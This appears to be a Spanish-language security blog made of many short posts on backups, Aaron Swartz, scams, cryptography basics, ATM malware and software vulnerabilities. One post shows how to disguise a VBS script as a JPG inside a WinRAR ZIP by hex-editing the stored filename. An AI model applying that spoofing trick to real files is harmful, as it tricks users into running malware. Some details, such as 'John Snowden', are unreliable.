Día Internacional de la Copia de Seguridad

hd111111-660x350

Cada 31 de marzo se celebra el World Backup Day, o el Día Internacional de la Copia de Seguridad.


Las copias de seguridad son el pilar básico de las buenas prácticas de seguridad, pues en último término, ante un ataque o desastre de cualquier tipo, lo primordial es conservar la información generada.


“Las copias de seguridad son sólo el primer paso en una estrategia de seguridad completa”, comenta al respecto el director para Iberia de esta firma experta en backup, Nicholas Green. “Comprobar regularmente una copia de seguridad es de suma importancia para asegurar el acceso a nuestros datos”.


Por tal motivo, aquí dejo cinco consejos para realizar copias de seguridad:


1. No esperes a que sea demasiado tarde. Pon manos de un disco duro externo y haz una copia de seguridad o backup, significará tener por duplicado cualquier dato que consideres valioso. Utilizar discos duros externos es la mejor elección para hacer copias de seguridad por su buena  relación capacidad-precio, por su calidad, gran velocidad y por su mayor capacidad de almacenamiento comparado con una memoria USB o un CD.


2. Usa un software automático de copia de seguridad. ¡Configúralo y olvídate! Es mejor no depender de copias de seguridad manuales de tus datos, es probable que te olvides o que no puedas hacer un backup. También es fácil cometer errores u omitir algo importante. Usa un software de copia de seguridad para automatizar tu proceso de backup. Un programa de copia de seguridad fácil de usar crea una copia de tus datos de forma fiable y automática, mantiene la configuración del sistema y te avisa si hay algún problema.


3. Ten copias en diferentes lugares: una copia de seguridad de una copia de seguridad de una copia de seguridad…Asegúrate de que tienes como mínimo dos copias de tus datos más importantes. Tener varias copias en diferentes unidades y en diferentes lugares, reduce el riesgo de perder por completo tus datos. Recuerda que mover importantes archivos de tu ordenador a un disco duro no es una copia de seguridad, si no almacenar en otro sitio, así que tus datos aún están en riesgo de perderse si  las cosas se tuercen.


4. Cuenta con tu propia nube personal Asegúrate que tus datos están a salvo en casa, pero también accesibles cuando estás fuera a través de tu propio sistema de almacenamiento en la nube personal.


5. ¡Actualiza tu de copia de seguridad! Tu software de copia de seguridad registra todos los problemas que haya tenido al guardar tus archivos, asegúrate de que no ha perdido nada… podría ser justamente esa foto o video tan especial que nunca podrás repetir.

Aaron Swartz - Genio que la Internet merecia

swartzAaron Swartz, el Cofundador de Reddit, creador del RSS y paladín contra SOPA. Estuvo a punto de ser encarcelado por más de 30 años tras una exhaustiva persecución de los Estados Unidos, persecución que terminaría con el suicido de Aaron el año 2013. Conozcamos su legado y el gran aporte que nos dejo este gran Hacker.



Mi primer acercamiento a Aaron fue a través de Christian y Fredy de Mejorandola, allí comprendí la importancia que realizan las personas al mundo de la informática y que muchos desconocemos, es por ello que deseo iniciar esta sección de biografías con la Aaron Swart, el creador del Really Simple Syndication y como su muerte fue un balde de agua fría para Internet.

Swartz nació en Chicago , Illinois , hijo mayor de Susan y Robert Swartz. Su padre fundo la empresa de software de Mark Williams Company . Aaron se sumergió en el estudio de las computadoras, la programación, la Internet y la cultura misma de Internet. Asistió a North Shore Country Day School , una pequeña escuela privada, cerca de Chicago, hasta el noveno grado. Swartz abandonó la escuela secundaria en el décimo grado, y se inscribió en los cursos en una universidad del área de Chicago.


La vida de Aaron Swartz estuvo marcada, desde muy joven, desde los 13 años, por su pasión por Internet y por construir un lugar en el que fluyeran los contenidos libremente; un hecho que lo sentó delante de un tribunal acusado de crímenes informáticos por haber descargado 4 millones de artículos científicos de JSTOR (a través de la red del MIT) sujetos a copyright con la intención de liberarlos y que le costó una sentencia de un millón de dólares de multa y 35 años de cárcel (una sentencia enormemente exagerada que equiparaba un gesto a favor del conocimiento libre a ser considerado un acto de terrorismo por la elevada pena); un proceso judicial al que la familia achaca, precisamente, las causas del suicidio de Aaron.


Con la pérdida de Aaron Swartz, los usuarios de Internet hemos perdido algo más que un activista o un defensor de la cultura libre, Internet ha perdido un genio que, gracias a su toque, consiguió influir en millones de personas haciéndoles más sencillo el acceso a la información o hacerles más productivos en la generación de contenidos; algo que pocas personas son capaces de conseguir con la edad de 26 años.


Aaron Swartz era un genio, una persona inquieta que quería construir una red mejor; algo que podemos ver bien recordando 5 de sus obras (y hoy ya legados) más significativas:



RSS 1.0


Servicios como Google Reader o aplicaciones como Flipboard o Google Currents no hubieran nacido si, a la edad de 14 años, Aaron Swartz no hubiese colaborado en la implementación del estándar RSS 1.0(Really Simple Syndication), un formato XML que nos permite compartir fácilmente contenidos a lo largo y ancho de la red.


Gracias al RSS podemos suscribirnos a fuentes de contenidos y acceder a éstas sin necesidad de visitar sus páginas web, agregando toda esta información en lectores de feeds tanto de escritorio como aplicaciones para dispositivos móviles o servicios web como Google Reader. El RSS es un formato de archivo que sigue la estructura del XML que recoge los contenidos que se publican en una página web dentro de un formato estandarizado (con el título, fecha de publicación o la descripción) con el que los lectores de RSS pueden ofrecernos las novedades de un sitio web que visitemos regularmente encargándose estos de la presentación de los contenidos en un formato de agradable lectura para el usuario.



Reddit


Reddit es uno de los sitios web más populares que podemos encontrar en la red, un sitio de referencia que nació en el año 2005 enfocado en la agregación de noticias donde los usuarios van dejando enlaces que encuentran por la red y otros usuarios comentan, discuten o valoran el contenido para promocionar las que tienen más impacto.


Si bien Reddit es un proyecto fundado por Steve Huffman y Alex Ohanian, Aaron Swartz podría considerarse también como uno de los fundadores del proyecto puesto que gran parte de su know-howtécnico está presente en este servicio y mucho de lo que ocurre en las "entrañas" del servicio procede de la mente de este genio que se unió al equipo en enero del año 2006 que, entre otras cosas, desarrolló el framework para Python que se utilizó durante bastante tiempo (y que, a día de hoy, está liberado como software libre).



Markdown


Muchos de los que dedicamos parte de nuestro tiempo a publicar contenidos en Internet tenemos mucho que agradecer a Aaron Swartz puesto que nos hizo ser algo más productivos. Dotar de estilos a un texto es algo mucho más sencillo y rápido gracias a Markdown, un lenguaje de marcado ligero que creó junto a John Gruber y con el que podemos dar formato a nuestros textos sin necesidad de recurrir a editores WYSIWYG o tener que usar las etiquetas de HTML.


Markdown es un lenguaje que nos permite escribir en texto plano y sustituir los formatos y estilos por combinaciones de símbolos (almohadillas, asteriscos, etc) que podemos escribir conforme vamos redactando y que, además, no dificultan la lectura del contenido. Una vez que tenemos redactado el contenido, Markdown se encarga de transformarlo en un documento HTML perfectamente interpretable por un navegador (esta nota se ha escrito íntegramente con Markdown).


Originalmente, Markdown se desarrolló en Perl pero, a día de hoy, está disponible en forma de plugin para muchos gestores de contenidos y, por ejemplo, es muy cómodo de utilizar desde WordPress, por citar un ejemplo.



Defensor de la Cultura Libre


Su acto de liberación de 4 millones de artículos científicos, quizás, sea uno de los ejemplos más significativos de las convicciones de Aaron Swartz en defensa la cultura libre pero este hecho es solamente un ejemplo de la lucha de Swartz a favor de la libre distribución de los contenidos y la lucha contra la censura en la red.


Como bien comentaba ayer Eduardo, Aaron colaboró con Larry Lessig en el primer borrador de la Licencia Creative Commons bajo la cual se publican miles de obras en Internet cada día, tanto contenidos como fotografías y vídeo. Además, en el año 2010, Aaron Swartz fundaría Demand Progress, una organización en pro del activismo en la red especializada en la lucha contra actividades y decisiones que pusieran en peligro la libertad en Internet.


[youtube http://www.youtube.com/watch?v=gl0vHBsapBc]

Demand Progress fue uno de los pilares clave que aglutinaron la movilización contra el infame proyecto deley SOPA estadounidense, ha protestado contra el uso de Rayos-X en los controles de seguridad de los aeropuertos de Estados Unidos o le ha plantado cara a Facebook al suspender (sin previo aviso) los perfiles y cuentas de activistas y disidentes de China o Siria.



Open Library


Open Library es un proyecto que tiene como objetivo crear una gran biblioteca en la red de manera colaborativa y con acceso libre donde cada libro esté reflejado con una página que le sirva de ficha y convertir así a esta web en una enorme base de datos bibliográfica.


El proyecto estaba impulsado por Internet Archive y la Biblioteca del Estado de California y contaba con Aaron Swartz como director técnico donde, junto al equipo del proyecto, desarrollaron una wiki semántica capaz de combinar metadatos de bibliotecas y editoriales de todo el mundo junto a los datos aportados por los usuarios, libreros o bibliotecas tradicionales de cualquier rincón del mundo.


Ciberdelincuentes matan a Miley Cyrus

myley-628x250_628x250

La falsa muerte de Miley Cyrus se propagó hace unos días por las redes sociales como la pólvora. Pero este domingo se ha conocido que la campaña, elaborada por un grupo de ciberdelincuentes, buscaba difundir la noticia para engañar al máximo de usuarios de las redes y fans de la excéntrica cantante para redirigirlos a páginas maliciosas que comprometían la seguridad de los internautas.

La noticia, que incluye una foto de un coche accidentado, ha sido identificada por Sophos a través de Facebook. La campaña incluye un vídeo del supuesto accidente, pero para visualizarlo, el usuario está obligado a compartir el enlace y, de esta forma, propagar a amenaza por Internet.

"Una vez más observamos como un personaje famoso es utilizado como gancho para los ciberdelincuentes en las redes sociales. Nunca hay que acceder a este tipo de contenidos sensacionalistas, ya que en la mayoría de los casos las páginas de destino suelen descargar un malware en el ordenador de las víctimas, infectando el sistema", ha explicado el director general de Sophos Iberia, Pablo Teijeira.

The Private Eye - Un Cómic para los amantes de la seguridad y el espionaje

Private-Eye-Brian-Vaughan-Marcos-Martin

La trama de The Private Eye se desarrolla en el año 2076 en Estados Unidos, donde todo y todos son espiados. Un indiscreto paparazzo y un detective privado al margen de la ley son los protagonistas de este mundo de ciencia ficción que unos pocos meses después de su primer capítulo se convertiría en realidad con las revelaciones de John Snowden y la NSA.

Se puede ver o descargar gratuitamente, los cinco primeros capítulos, y aunque piden hacer una donación igual se puede bajar a costo $0.

Ir al cómic: http://panelsyndicate.com/

Criptografía - Public Key Infrastructure

pki


Public Key Infrastructure (Infraestructura de Clave Pública), acronimo PKI, es la forma común de referirse a un sistema complejo necesario para la gestión de certificados digitales y aplicaciones de la Firma Digital.



Criptografía Asimétrica


La base tecnológica para la Firma Digital está fundamentada principalmente en el uso de ciertos algoritmos criptográficos, con unas características que permiten obtener el nivel de  Seguridad requerido.
A diferencia de los algoritmos de cifrado simétrico, en los que la información se cifra y descifra con la misma clave, los algoritmos asimétricos basan su funcionamiento en un par de claves (matemáticas dependientes) para cada usuario, con la característica de que la información cifrada con una clave, sólo puede descifrarse con la otra del mismo par.
A cada usuario se debe asignar un par de claves, que se denominan Clave Pública y Clave Privada. Como indican sus nombres, la Clave Pública puede ser conocida por todo el mundo, mientras que la Clave Privada debe ser custodiada por el usuario y nunca hacerse pública.
Si se desea enviar información confidencial a un usuario, se le enviará la información cifrada con su clave pública, de tal forma que sólo ese usuario, que posee la Clave Privada correspondiente, podrá descifrar la información. Por otra parte, si un usuario envía información cifrada con su clave privada, al descifrarla con su clave pública (acción que puede realizar cualquiera que conozca dicha clave), puede asegurarse que ha sido ese usuario quién envió la información, ya que sólo él posee la clave privada.

Firma Digital.


Una Firma Digital tiene dos características principales:

  • Sólo puede ser generada por el poseedor de la clave privada y puede ser verificada por cualquiera que conozca la clave pública del firmante.

  • Es dependiente del documento a firmar (la Firma Digital de un documento no puede emplearse para firmar otro documento).


El proceso de generación de una Firma Digital consiste en dos pasos:

  • Empleando un algoritmo de"Hashing" se genera un resumen, de tamaño fijo, del documento.

  • Se cifra el Hashempleando la clave privada del usuario.


Definición de Firma Digital


La firma digital es una solución tecnológica que permite garantizar la autoría e integridad de los documentos digitales y la  posibilidad de demostrar estas propiedades ante terceros, permitiendo que éstos gocen de características que únicamente eran propias de los documentos en formato duro.
Deberá transmitirse o almacenarse el documento original y la firma.
Deben realizarse los siguientes pasos:

  • A partir del Documento Original, se genera de nuevo el Hash.

  • Empleando la Clave Pública del firmante, se descifra la firma digital.

  • Se comprueba si ambos "Hashes" coinciden, si es así, la firma es auténtica, si no lo es, el documento ha sido modificado y/o la firma es falsa.

  • Adicionalmente, debe comprobarse que el Certificado Digital es válido. El Certificado puede haber caducado, o puede haber sido revocado por una de las partes.


Certificados Digitales


Las técnicas anteriormente indicadas, si bien son técnicamente correctas, implican un grave problema a nivel de seguridad: ¿Cómo se puede asegurar que una clave pública pertenece a un usuario dado?. Es necesario poder vincular la clave pública de un usuario con su identidad y para esto surge el concepto de "Certificado Digital", que contiene la siguiente información:

  • Identidad del usuario (Nombre, NIF, etc...).

  • Clave Pública del usuario.

  • Periodo de Validez del Certificado.

  • Identidad de la Autoridad Certificadora (entidad que emite el certificado).

  • Firma digital del certificado (los datos anteriores más otras posibles extensiones personalizables, p.e. la dirección de correo electrónico), generada por la Autoridad Certificadora.
    Esta información se encapsula en un formato estándar, definido por la normaISO X.509 versión 3. Generalmente existirá un repositorio (p.e. directorio LDAP) en el que se publican todos los certificados gestionados por la PKI y puede ser consultado por otros usuarios de la PKI que quieran enviar información cifrada o verificar firmas digitales.


La Autoridad Certificadora


La Autoridad Certificadora, es la entidad que asegura la identidad de los usuarios de los certificados digitales. Posee su propio par de claves y firma digitalmente los certificados con su clave privada. Confiando en la Firma Digital de la Autoridad Certificadora, puede confiarse en cualquier certificado generado por la misma.
Las tareas realizadas por la Autoridad Certificadora son, entre otras, las siguientes:

  • Procesa peticiones de Certificado a través de la Autoridad de Registro. Estas solicitudes están compuestas básicamente por los datos identificativos y la clave pública del solicitante.

  • Genera los Certificados y los almacena en el repositorio público (p.e. LDAP).

  • Gestiona la caducidad y renovación de certificados.

  • Gestiona la revocación de certificados (p.e. por compromiso de la clave privada del usuario al serle sustraída su SmartCard).
    Toda la fiabilidad de la Autoridad de Certificación se basa en la inviolabilidad de su propia clave privada, la cual resulta crítico proteger empleando medios técnicos y humanos.


La Autoridad de Registro


En toda PKI deben establecerse los mecanismos para que los usuarios soliciten su propio certificado, de tal forma que se asegure la identidad de dicho usuario. A este procedimiento se le denomina "Proceso de Registro" y se realiza a través de la denominada "Autoridad de Registro".


Tipos de registros


Existen dos tipos principales de registro:

  • Registro Clásico. El solicitante acude en persona a una "Oficina de Registro", donde, tras acreditar su identidad, se le proporciona de forma segura su clave privada y su certificado.



  • Registro Remoto. El usuario, a través de Internet, realiza una solicitud de certificado. Para esto empleará un software (p.e. un navegador) que generará el par de claves y enviará su clave pública a la Autoridad de Registro para que sea firmada por la Autoridad Certificadora y le sea devuelto su certificado.
    La validez de la Firma Digital estará condicionada por la calidad del proceso de registro, siendo obligatorio para asegurar la validez legal de la firma, algún tipo de registro "Cara a Cara", ya que es el único que asegura la identidad del solicitante. Por otra parte, la validez de la firma digital también estará condicionada a la firma manuscrita de un "contrato" por el que el solicitante acepta su certificado y las condiciones de uso del mismo.
    La Autoridad de Registro se compondrá de una serie de elementos tecnológicos (hardware y software específico) y unos medios humanos (los Operadores de Registro). Es el punto de comunicación entre los usuarios de la PKI y la Autoridad certificadora.


Componenetes de una PKI


Los sistemas anteriormente descritos deben englobarse en un único sistema, al que se denomina "Infraestructura de Clave Pública" (PKI), cuyo elementos se pueden ilustrar en la siguiente figura.




Existen multitud de componentes adicionales, y cada elemento es un sistema complejo en si mismo. Los componentes básicos pueden resumirse en:




  • La Autoridad de Certificación.La pieza central del "puzzle" y la que proporciona la base de confianza en la PKI. Constituido por elementos hardware, software y, evidentemente, humanos.

  • Publicación de Certificados.El repositorio de certificados permite a los usuarios operar entre ellos (p.e. para la validación de una Firma Digital), y es un requisito legal que cuente con una total disponibilidad de acceso.

  • Soporte de la Clave Privada.La elección de un buen soporte para que los usuarios custodien su clave privada es un punto esencial y complejo en si mismo (p.e. si la clave está en una SmartCard, es necesario diseñar el Sistema de Gestión de SmartCards que permita la emisión y distribución de las tarjetas a los usuarios).

  • Aplicaciones "PKI-Enabled".Se denomina así a las aplicaciones software capaces de operar con certificados digitales. Estas aplicaciones son las que dan el valor real de la PKI de cara al usuario.

  • Políticas de Certificación.Deben diseñarse una serie de políticas, o procedimientos operativos, que rigen el funcionamiento de la PKI y establecen los compromisos entre la Autoridad Certificadora y los Usuarios Finales. Estos documentos tendrán un carácter tanto técnico como legal.
    El Proceso de Construcción de una PKI deberá siempre partir de la definición de las Políticas Operativas y contemplar como requerimiento esencial el asegurar la calidad y seguridad de las operaciones que los usuarios finales realizan con sus claves privadas (p.e. Firma Digital de Documentos).


Fuentes


http://www.pkiforum.org

http://www.pki-page.org

http://www.ietf.org/html.charters/pkix-charter.html

http://www.entrust.com/resources/pdf/

http://www.idg.es/comunicaciones/Doc-internautas/documentos/rd14-1999.asp

http://www.w3.org

Falsificación de extensiones de ficheros en WinRAR (0-day)

Publicación interesante de Hackplays que puede ver aquí:

Hace poco se mostraba en un blog israelí una vulnerabilidad 0-day en la versión 4.20 de WinRAR (otras versiones podrían verse también afectadas) con la que es posible engañar muy fácilmente a un usuario para que ejecute por ejemplo... un troyano. Además es sumamente sencilla de explotar...

Para nuestra PoC empezaremos creando un simple vbs 'pruebas.vbs':

MsgBox("PWNED! jajaj")

y lo comprimiremos creando el fichero 'pruebas.zip':

Cuando tratamos de comprimir el archivo en "formato ZIP" con WinRAR, la estructura de archivos es la estándar pero WinRAR añade varias propiedades adicionales, como un segundo nombre de archivo:

¿Qué pasa si modificamos ese nombre con nuestro editor hexadecimal por algo más "sugerente" como 'tetazas.jpg'?:


Veamos el resultado:

Al abrir el fichero comprimido nos muestra aparentemente una imagen, pero al hacer doble clic en ella se ejecutará nuestro script, es decir, hemos falsificado el nombre y la extensión del fichero comprimido ... con lo que todo ello supone...

Malware #Ploutus permite robar cajeros automáticos a través de SMS

ATM_blog_infographic_fig1

La tecnología avanza a pasos agigantados y mas aún los delincuentes con sus sofisticados métodos. Así lo anuncia la empresa Symantec en su publicación Texting ATMs for Cash Shows Cybercriminals’ Increasing Sophistication donde mencionan que principal método para robar dinero de cajeros automáticos es a través de mensajería te texto (SMS).

En octubre del año pasado Symantec publico en su blog una entrada  haciendo referencia a un malware llamado Ploutus que era utilizado para atacar cajeros automáticos en México que permitía a los atacantes forzar los equipos para que entregaran dinero en efectivo usando un teclado externo conectado al cajero.

Ahora, la más reciente investigación de Symantec sobre este tipo de amenazas encontró que una nueva variante de Ploutus permite a los ciberdelincuentes obtener dinero tras enviar un mensaje de texto al cajero automático comprometido, para luego dirigirse al mismo y recoger el dinero entregado por el equipo.

Symantec, la autoridad en protección de información, dio a conocer hoy los hallazgos de una investigación realizada por sus especialistas en seguridad que muestra la creciente sofisticación de los ciberdelincuentes y una nueva forma en que pueden obtener dinero de los cajeros automáticos mediante algo tan simple como mandar un mensaje de texto (SMS).

El funcionamiento de este malware parte por la instalación de  Ploutus en el cajero automático y posterior a conectar un teléfono móvil al equipo con un cable USB. El delincuente envía dos mensajes de texto al teléfono móvil que está conectado al cajero, uno con un número de activación válido para poder activar Ploutus en el cajero y otro con un comando válido para activar la entrega del dinero y poder retirar el efectivo. Posteriormente, el teléfono celular dentro del cajero detecta los mensajes de texto recibidos y al ser validados los reenvía al sistema del cajero automático como si fuera un paquete TCP o UDP. Dentro del cajero, uno de los componentes recibe la información y si contiene un comando válido, ejecuta Ploutus y entrega el dinero que posteriormente alguien recoge físicamente del cajero automático.


Via: http://blog.segu-info.com.ar/2014/03/malware-ploutus-permite-robar-cajeros.html#axzz2xCnejNzO

Criptografía - Hashing

kotaix4


Hashing y cifrado son dos técnicas que sirven para proteger la información. El cifrado permite descifrar posteriormente el texto original y recuperarlo. El hashing resume el texto en una pequeña huella que no puede descifrarse.Estas funciones de resumen son algoritmos que consiguen crear a partir de una entrada (ya sea un texto, una contraseña o un archivo, por ejemplo) una salida alfanumérica de longitud normalmente fija que representa un resumen de toda la información que se le ha dado (es decir, a partir de los datos de la entrada crea una cadena que solo puede volverse a crear con esos mismos datos).


Características de los hash

En definitiva las funciones hash se encargan de representar de forma compacta un archivo o conjunto de datos que normalmente es de mayor tamaño que el hash independientemente del propósito de su uso.

Este sistema de criptografía usa algoritmos que aseguran que con la respuesta (o hash) nunca se podrá saber cuales han sido los datos insertados, lo que indica que es una función unidireccional. Sabiendo que se puede generar cualquier resumen a partir de cualquier dato nos podemos preguntar si se podrían repetir estos resúmenes (hash) y la respuesta es que teóricamente si, podría haber colisiones, ya que no es fácil tener una función hash perfecta (que consiga que no se repita la respuesta), pero esto no supone un problema, ya que si se consiguieran (con un buen algoritmo) dos hash iguales los contenidos serían totalmente distintos.

Ejemplos y formas de uso


Las funciones hash son muy usadas, una de las utilidades que tiene es proteger la confidencialidad de una contraseña, ya que podría estar en texto plano y ser accesible por cualquiera y aún así no poder ser capaces de deducirla. En este caso, para saber si una contraseña que está guardada, por ejemplo, en una base de datos es igual a la que hemos introducido no se descifra el hash (ya que debería de ser imposible hacerlo) sino que se aplicará la misma función de resumen a la contraseña que especificamos y se comparará el resultado con el que tenemos guardado (como se hace con las contraseñas de los sistemas Linux).

Un ejemplo de esto es generar claves con hash en SHA1, por ejemplo, tenemos una contraseña sin protección:
MiPasswordesUnicornioRosa

Aplicando SHA1 quedaría
45f48feda40b153f2d4f5f0e6a9004d86f07a2b5

 

Feliz seis años

Feliz-Cumpleaños-Imagen-para-Saludar-1

Hace seis años que comencé a publicar en mi blog el cual nació como un proyecto de clases de cuando estudiaba Pedagogía en Inacap. Lo he mantenido hasta el día de hoy, publicando escuetamente en sus inicios hasta el 2013 para este año establecer la meta de noticias y artículos sobre seguridad una vez al día para así mantener su actividad. Seis años en que no lo abandone y eso ya es mucho decir para todos los proyectos de blogs, ahora no queda más que celebrar en virtud de esos seis jóvenes años.

Criptografía - Integridad

INTEGRIDAD
El termino "integridad" es un aspecto fundamental en la Seguridad Informática y aunque su uso no es exclusivo para la criptografía es fundamental conocer su significado para así comprender de mejor manera el cifrado de información.


La Integridad es la propiedad que busca mantener los datos libres de modificaciones no autorizadas. La violación de la Integridad se presenta cuando una persona, programa o proceso por accidente o de forma intencionada, cambia o elimina datos importantes que son parte de la información, así mismo hace que su contenido permanezca inalterado a menos que sea modificado por el personal autorizado; y esta modificación será registrada, asegurando su precisión y confiabilidad.


Por tal motivo, la Integridad permite asegurar que la información no sea falseada, es decir, que los datos recibidos o recuperados sean exactamente los que fueron enviados o almacenados, sin que se haya producido ninguna modificación.

Vulnerabilidad en Word

rtf

Microsoft publico el día de ayer un boletín de seguridad sobre una vulnerabilidad que afecta a Word, mencionando que se están realizando una serie de ataques dirigidos a Word 2010 (aunque igual afecta a otras versiones).

Este fallo de seguridad (CVE-2014-1761) permitirá la ejecución de código remoto al abrir o previsualizar archivos RTF, de igual manera se ve afectada la seguridad al abrir o previsualizar este tipo de documentos mediante el cliente Microsoft Outlook mientras se utiliza Word como visor de correo.

Por el momento Microsoft lanzo un parche "Fix It"  para prevenir este tipo de ataque. Debemos de tener claro que este parche es solo momentáneo y no corrige la vulnerabilidad, solo impide la apertura o visualización de los archivos RTF, por tal motivo se recomienda la lectura en modo texto plano si utilizamos Outlook.

 

Más Información

Via: Hispasec.com

Criptografía - Confidencialidad y Cifrado

kotaix2

Confidencialidad:
La confidencialidad es uno de los grandes conceptos de la seguridad informática y se entiende como la acción de protección de datos e información entre un emisor a uno o varios receptores frente a terceros, logrando así la no divulgación de información de manera no autorizada. La confidencialidad es independiente de la seguridad del sistema de comunicación utilizado, sobre todo en vías inseguras como Internet.


En el ámbito criptográfico el objetivo de esta misma es mantener la confidencialidad de la información garantizando así el acceso únicamente a las personas autorizadas a acceder a dicha información. Para llevar a la practica la confidencialidad es necesario abarcar el tema de cifrado.


Cifrado:
El cifrado de información es convertir los datos en un formato no legible a un tercero el cual no conozca el algoritmo de cifrado o la llave secreta.


El algoritmo es una función matemática que se encarga de la encriptación y desencriptación. Un algoritmo criptográfico trabaja en combinación con una llave secreta para encriptar y desencriptar datos. Para encriptar, el algoritmo combina matemáticamente la información a proteger con una llave provista. El resultado de este cálculo son los datos encriptados. Para desencriptar, el algoritmo hace un cálculo combinando los datos encriptados con una llave provista, siendo el resultado de esta combinación los datos desencriptados (exactamente igual a como estaban antes de ser encriptados si se usó la misma llave). Si la llave o los datos son modificados el algoritmo produce un resultado diferente. El objetivo de un algoritmo criptográfico es hacer tan difícil como sea posible desencriptar los datos sin utilizar la llave. Si se usa un algoritmo de encriptación realmente bueno, entonces no hay ninguna técnica significativamente mejor que intentar metódicamente con cada llave posible. Incluso para una llave de sólo 40 bits, esto significa 2ˆ40 (poco más de 1 trillón) de llaves posibles.


 

Criptografía – Introducción [2]

Copia_de_ESPARTANOS_2010_LOGO


La criptografía nace de la necesidad de cifrar la información para mantener la privacidad de este mismo. Adentrándonos un poco en la historia encontramos la escítala espartana, método utilizado en el siglo V antes de cristo. Los griegos no se quedaron atrás e inventaron el cifrado Polybios, seguidos de los romanos con el cifrado del César. Ya más contemporáneo se encuentra la maquina Enigma que fue utilizada en la segunda guerra mundial para el cifrado.


La Escítala Espartana:

escitalaEste método consistía en cifrar el mensaje cambiando el orden de las letras. Se utilizaba una vara llama escítala donde se enrollaba un pergamino o cuero escrito de forma longitudinal. Al desenrollar la cinta se apreciaba un montón de letras sin sentido, quien un mensajero llevaba a trote hasta su destino. Para leer el mensaje se necesitaba de una vara con el mismo diámetro que la original, este diámetro pasaría a ser la clave para desencriptar el mensaje.

 

Polybios:

Su invención se atribuye al historiador griego Polybios  y el método consiste en realizar el cifrado por sustitución de caracteres utilizando una tabla.

polybios1

 

Por ejemplo si deseamos cifrar la palabra "unicornio" este quedaría así: DECCBDACCDDBCCBDCD

Cifrado del César:

Este método utilizado por los Romanos es el mas sencillo de todos y consiste en desplazarse tres espacios en el alfabeto para reemplazar el carácter

320px-Caesar3.svg

 

Tomando el ejemplo anterior de la palabra "unicornio" este quedaría de la siguiente manera: xqlfruqlr

Criptografía - Introducción [1]

cripto6

Aquí comienza un pequeño curso introductorio a la criptografía informática para todos aquellos que estén interesados en aprender los conceptos y técnicas utilizadas en esta área. Los aspectos fundamentales que veremos serán los siguientes:

  • Confidencialidad

  • Cifrados

  • Integridad

  • Hashing

  • Public Key Infrastructure

  • Digital Certificate

  • Herramientas y Técnicas


Antes de entrar en materia criptografía debemos conocer el significado de la palabra y en que consiste.

Introducción:

La criptografía es tan antigua como la escritura misma, el termino proviene del griego cuyo significado etimológico es "escritura oculta. La criptografía la podríamos considerar un arte que reúne una serie de técnicas para cifrar mensajes. Ya desde la antigüedad los humanos han estado utilizando estos métodos para cifrar y ocultar sus mensajes, con la finalidad de que ojos curiosos o indeseables no pudieran entender su contenido. Sin ir mas lejos, podríamos referirnos que en tiempos de crisis como las guerras, era necesario establecer una vía de comunicación segura entre tropas o aliados, siendo conscientes y considerando el hecho de que el mensaje podría ser interceptado por el enemigo, los mensajes eran cifrados y solo podrían ser leído por los aliados, quienes en posesión de una llave, podrían desencriptar dicha información, así el enemigo aunque tuviese en poder dicho mensaje, no podría interpretarlo de forma alguna, puesto que no sabría el método o la clave para hacer legible la información. Sin embargo los tiempos avanzan y los métodos también, ahora se utiliza la informática para llevar a cabo el cifrado de información para hacer mas seguro el envío y recepción de datos a través de Internet y salvaguardar la integridad de nuestros datos de delincuentes que están al acecho.  Por ese motivo, este curso se centra en la criptografía informática, abarcando los distintos conceptos y técnicas utilizadas en este ámbito.


 

Mozilla - Publicación de 18 boletines de seguridad

Firefox-ThunderBird-SeaMonkey-logo

La Fundación Mozilla publico 18 boletines de seguridad para corregir vulnerabilidades de su navegador Mozilla, del cliente de correo ThunderBird y de la suite  SeaMonkey. Estas vulnerabilidades se encuentran divididas en las siguientes categorías según el criterio de mozilla:

  • Critico: este tipo de vulnerabilidad  puede ser utilizado para ejecutar código malicioso.

  • Alto: puede recopilar información personal de la nevegacion del usuario en sitios web, también permite inyecciones de cogido.

  • Moderado: estas vulnerabilidades a diferencia del modo alto necesitan que el usuario active ciertos parámetros de la configuración del navegador o el cliente de correo.

  • Bajo: pueden ser utilizada para ataques de denegación de servicios o fuga de información.


En Hispasec se hace una mención en español sobre estos boletines de nivel critico (http://unaaldia.hispasec.com/2014/03/mozilla-publica-18-boletines-de.html ):

Para información más detallada se recomienda visitar http://www.mozilla.org/security/announce/

Phishing Scam - Cuidado usuarios de Google Docs y Google Drive

0

Hace un par de días hable sobre la técnica del phishing y como los delincuentes suplantaban la identidad de una empresa y/o persona para poder robar datos importantes. Recientemente, los investigadores de Symatec han publicado un articulo donde explican que han encontrado un fraude de phishing dirigido a los usuarios de Google que utilizan las aplicaciones de Google Docs y Google Drive.

[caption id="attachment_1343" align="aligncenter" width="500"]Figura 1. Página de phishing de inicio de sesión Google Docs Figura 1. Página de phishing de inicio de sesión Google Docs[/caption]

Modus Operandi


Todo comienza con una correo electrónico que trae por asunto "Documentos". En dicho correo se solicita al usuario comprobar un documento importante en Google Docs mediante un enlace incorporado. Este enlace, como supondrán, lleva a una página falsa de Google Docs (figura 1) donde se solicita al usuario iniciar sesión con su nombre de usuario y contraseñas de Google.

El diablo vestido de moda


Esta página falsa se encuentra alojada en el mismo servidor de Google Docs, por tanto cifra la conexión con SSL para hacer parecer todo real y así tratar de engañar al usuario mas fácilmente.  Este fraude se llevo cabo dando a una carpeta permisos de acceso públicos, alojando dentro dentro de esta aun archivo y habilitando la función de vista previa.

Cuando el usuario inicia falsamente una sesión, se ejecuta automáticamente un script PHP en un servidor web comprometido que alojara las credenciales del usuario para así completar el phising.

Así que ya saben, cuidado con los correos y los inicios de sesión extraños en aplicaciones donde ya estamos logueados

Borraron archivos del simulador de vuelo del piloto del avión desaparecido

images (1)

El ministro de Defensa malasio dijo que algunos datos fueron eliminados antes del allanamiento en la casa del comandante, pero que están tratando de recuperarlos.

Los archivos del simulador de vuelo perteneciente al piloto del avión de Malaysia Airlines que está perdido fueron borrados recientemente, antes del allanamiento policial en la casa del comandante, informó hoy el ministro de Defensa e interino de Transportes malasio.

Hishammuddin Hussein dijo en conferencia de prensa que los investigadores están tratando de recuperar los archivos y remarcó que el piloto, capitán Zaharie Ahmad Shah, es inocente de cualquier irregularidad hasta que se pruebe lo contrario.

"Algunos datos fueron borrados del simulador y se está haciendo trabajo forense para recuperarlos", indicó. El simulador de vuelo fue confiscado por las autoridades durante el registro de su vivienda, el sábado último.

Desde que se confirmó que el avión cortó los sistemas de comunicaciones y cambió de rumbo de manera deliberada, el piloto, con más de 30 años de experiencia, y el copiloto, se han convertido en sospechosos.

